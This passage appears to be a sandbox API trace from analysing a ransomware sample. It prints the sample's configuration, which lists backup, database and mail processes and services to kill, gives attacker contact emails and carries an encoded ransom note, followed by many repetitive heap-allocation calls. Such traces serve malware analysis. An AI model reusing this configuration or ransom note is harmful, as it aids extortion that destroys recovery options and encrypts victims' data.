2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x8ff838, _Radix=0 | out: _EndPtr=0x8ff838*=", \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 6 [0150.763] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa57f10, Size=0x18) returned 0xa57ed0 [0150.763] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57fb0 [0150.763] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x4) returned 0xa5ab28 [0150.763] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57db0 [0150.763] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x4) returned 0xa5ac08 [0150.763] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa58010 [0150.763] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5ac08, Size=0x8) returned 0xa5ac28 [0150.763] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57e10 [0150.763] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5ac28, Size=0xc) returned 0xa55390 [0150.763] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57fd0 [0150.763] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55390, Size=0x10) returned 0xa55468 [0150.763] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57e30 [0150.763] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55468, Size=0x14) returned 0xa57eb0 [0150.763] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57ef0 [0150.763] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa57eb0, Size=0x18) returned 0xa57f10 [0150.763] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57eb0 [0150.763] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa57f10, Size=0x1c) returned 0xa4af48 [0150.763] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57f30 [0150.763] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa4af48, Size=0x20) returned 0xa4af98 [0150.763] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57f10 [0150.763] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa4af98, Size=0x24) returned 0xa58e20 [0150.763] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57f50 [0150.763] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa58e20, Size=0x28) returned 0xa58f70 [0150.763] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57f70 [0150.763] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa58f70, Size=0x2c) returned 0xa5f168 [0150.763] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57d30 [0150.763] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5f168, Size=0x30) returned 0xa5f788 [0150.763] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57d10 [0150.763] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5f788, Size=0x34) returned 0xa5b470 [0150.763] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57a10 [0150.763] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5b470, Size=0x38) returned 0xa5b330 [0150.764] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57ad0 [0150.764] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5b330, Size=0x3c) returned 0xa55ea0 [0150.764] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57bb0 [0150.764] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55ea0, Size=0x40) returned 0xa55a68 [0150.764] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57a50 [0150.764] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55a68, Size=0x44) returned 0xa56200 [0150.764] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa579b0 [0150.764] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5ab28, Size=0x8) returned 0xa5ab38 [0150.764] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57a30 [0150.764] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x4) returned 0xa5ac08 [0150.764] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57a70 [0150.764] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5ac08, Size=0x8) returned 0xa5ab28 [0150.764] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57d90 [0150.764] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5ab28, Size=0xc) returned 0xa55330 [0150.764] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57a90 [0150.764] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55330, Size=0x10) returned 0xa55468 [0150.764] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57ab0 [0150.764] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55468, Size=0x14) returned 0xa57af0 [0150.764] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57cb0 [0150.764] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa57af0, Size=0x18) returned 0xa57b50 [0150.764] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57d50 [0150.764] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa57b50, Size=0x1c) returned 0xa4af48 [0150.764] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa579f0 [0150.764] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa4af48, Size=0x20) returned 0xa4af98 [0150.764] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57c50 [0150.764] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa4af98, Size=0x24) returned 0xa58f70 [0150.764] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57af0 [0150.764] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa58f70, Size=0x28) returned 0xa58fd0 [0150.764] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57b10 [0150.764] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa58fd0, Size=0x2c) returned 0xa5f248 [0150.764] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57b30 [0150.764] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5f248, Size=0x30) returned 0xa5f7f8 [0150.764] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57b50 [0150.764] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5f7f8, Size=0x34) returned 0xa5b730 [0150.764] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57d70 [0150.764] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5ab38, Size=0xc) returned 0xa55270 [0150.764] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57cf0 [0150.764] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x4) returned 0xa5ac08 [0150.764] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57bd0 [0150.765] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5ac08, Size=0x8) returned 0xa5ac28 [0150.765] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57b90 [0150.765] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5ac28, Size=0xc) returned 0xa55390 [0150.765] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57b70 [0150.765] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55390, Size=0x10) returned 0xa55348 [0150.765] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57c90 [0150.765] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55348, Size=0x14) returned 0xa579d0 [0150.765] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57bf0 [0150.765] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa579d0, Size=0x18) returned 0xa57c70 [0150.765] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57c10 [0150.765] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa57c70, Size=0x1c) returned 0xa4af48 [0150.765] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57c30 [0150.765] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa4af48, Size=0x20) returned 0xa4af98 [0150.765] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa579d0 [0150.765] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa4af98, Size=0x24) returned 0xa58fa0 [0150.765] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57c70 [0150.765] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa58fa0, Size=0x28) returned 0xa590c0 [0150.765] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa57cd0 [0150.765] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa590c0, Size=0x2c) returned 0xa5f788 [0150.765] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f9f8 [0150.765] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5f788, Size=0x30) returned 0xa5f670 [0150.765] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fc78 [0150.765] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5f670, Size=0x34) returned 0xa5b830 [0150.765] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fbf8 [0150.765] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5b830, Size=0x38) returned 0xa5b470 [0150.765] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f958 [0150.765] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5b470, Size=0x3c) returned 0xa56170 [0150.765] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fcd8 [0150.765] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa56170, Size=0x40) returned 0xa55fc0 [0150.765] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fc18 [0150.765] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55fc0, Size=0x44) returned 0xa55990 [0150.766] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fcf8 [0150.766] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55990, Size=0x48) returned 0xa55990 [0150.766] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fab8 [0150.766] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55990, Size=0x4c) returned 0xa55990 [0150.766] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fa18 [0150.766] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55990, Size=0x50) returned 0xa55990 [0150.766] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fd18 [0150.766] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55990, Size=0x54) returned 0xa55990 [0150.766] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fc38 [0150.766] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55990, Size=0x58) returned 0xa55990 [0150.766] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f998 [0150.766] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55990, Size=0x5c) returned 0xa55990 [0150.766] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fb58 [0150.766] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55990, Size=0x60) returned 0xa55990 [0150.766] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f938 [0150.766] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55990, Size=0x64) returned 0xa4e948 [0150.766] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fc58 [0150.766] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa4e948, Size=0x68) returned 0xa4e948 [0150.766] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fc98 [0150.766] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa4e948, Size=0x6c) returned 0xa505e8 [0150.766] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f978 [0150.766] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa505e8, Size=0x70) returned 0xa505e8 [0150.766] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f9b8 [0150.766] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa505e8, Size=0x74) returned 0xa55658 [0150.766] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5f9d8 [0150.766] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55658, Size=0x78) returned 0xa55658 [0150.766] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fb78 [0150.766] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55658, Size=0x7c) returned 0xa55658 [0150.766] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fa38 [0150.766] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55658, Size=0x80) returned 0xa55658 [0150.766] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fbd8 [0150.766] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55658, Size=0x84) returned 0xa55658 [0150.766] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fa58 [0150.767] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55658, Size=0x88) returned 0xa55658 [0150.767] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fa98 [0150.767] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55658, Size=0x8c) returned 0xa55658 [0150.767] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fa78 [0150.767] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55658, Size=0x90) returned 0xa55658 [0150.767] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fad8 [0150.767] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55658, Size=0x94) returned 0xa54fc0 [0150.767] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fb98 [0150.767] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa54fc0, Size=0x98) returned 0xa54fc0 [0150.767] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5faf8 [0150.767] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa54fc0, Size=0x9c) returned 0xa54fc0 [0150.767] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fbb8 [0150.767] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa54fc0, Size=0xa0) returned 0xa54fc0 [0150.767] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fb18 [0150.767] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa54fc0, Size=0xa4) returned 0xa55738 [0150.767] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fb38 [0150.767] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55738, Size=0xa8) returned 0xa55738 [0150.767] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fcb8 [0150.767] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55738, Size=0xac) returned 0xa55738 [0150.767] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fd58 [0150.767] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55738, Size=0xb0) returned 0xa55738 [0150.767] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fe78 [0150.767] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55738, Size=0xb4) returned 0xa53340 [0150.767] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fd98 [0150.767] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa53340, Size=0xb8) returned 0xa53340 [0150.767] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fef8 [0150.767] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa53340, Size=0xbc) returned 0xa53340 [0150.767] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa60078 [0150.767] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa53340, Size=0xc0) returned 0xa53340 [0150.767] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fe98 [0150.767] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa53340, Size=0xc4) returned 0xa53340 [0150.767] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa60058 [0150.767] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa57ed0, Size=0x1c) returned 0xa4b060 [0150.767] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa60098 [0150.767] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x4) returned 0xa5ab28 [0150.768] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa60038 [0150.768] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5ab28, Size=0x8) returned 0xa5ac68 [0150.768] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5ff58 [0150.768] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5ac68, Size=0xc) returned 0xa551b0 [0150.768] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fd78 [0150.768] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa551b0, Size=0x10) returned 0xa55450 [0150.768] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fdb8 [0150.768] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa55450, Size=0x14) returned 0xa5ff78 [0150.768] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fe18 [0150.768] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5ff78, Size=0x18) returned 0xa5fe38 [0150.768] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa60018 [0150.768] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5fe38, Size=0x1c) returned 0xa4af48 [0150.768] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5ffd8 [0150.768] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa4af48, Size=0x20) returned 0xa4af98 [0150.768] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5ff78 [0150.768] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa4af98, Size=0x24) returned 0xa58df0 [0150.768] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fff8 [0150.768] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa58df0, Size=0x28) returned 0xa58e20 [0150.768] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fdd8 [0150.768] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa58e20, Size=0x2c) returned 0xa5f750 [0150.768] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa600b8 [0150.768] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5f750, Size=0x30) returned 0xa5f248 [0150.768] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fdf8 [0150.768] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5f248, Size=0x34) returned 0xa5b430 [0150.768] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x18) returned 0xa5fe38 [0150.768] RtlReAllocateHeap (Heap=0xa40000, Flags=0x8, Ptr=0xa5b430, Size=0x38) returned 0xa5b470 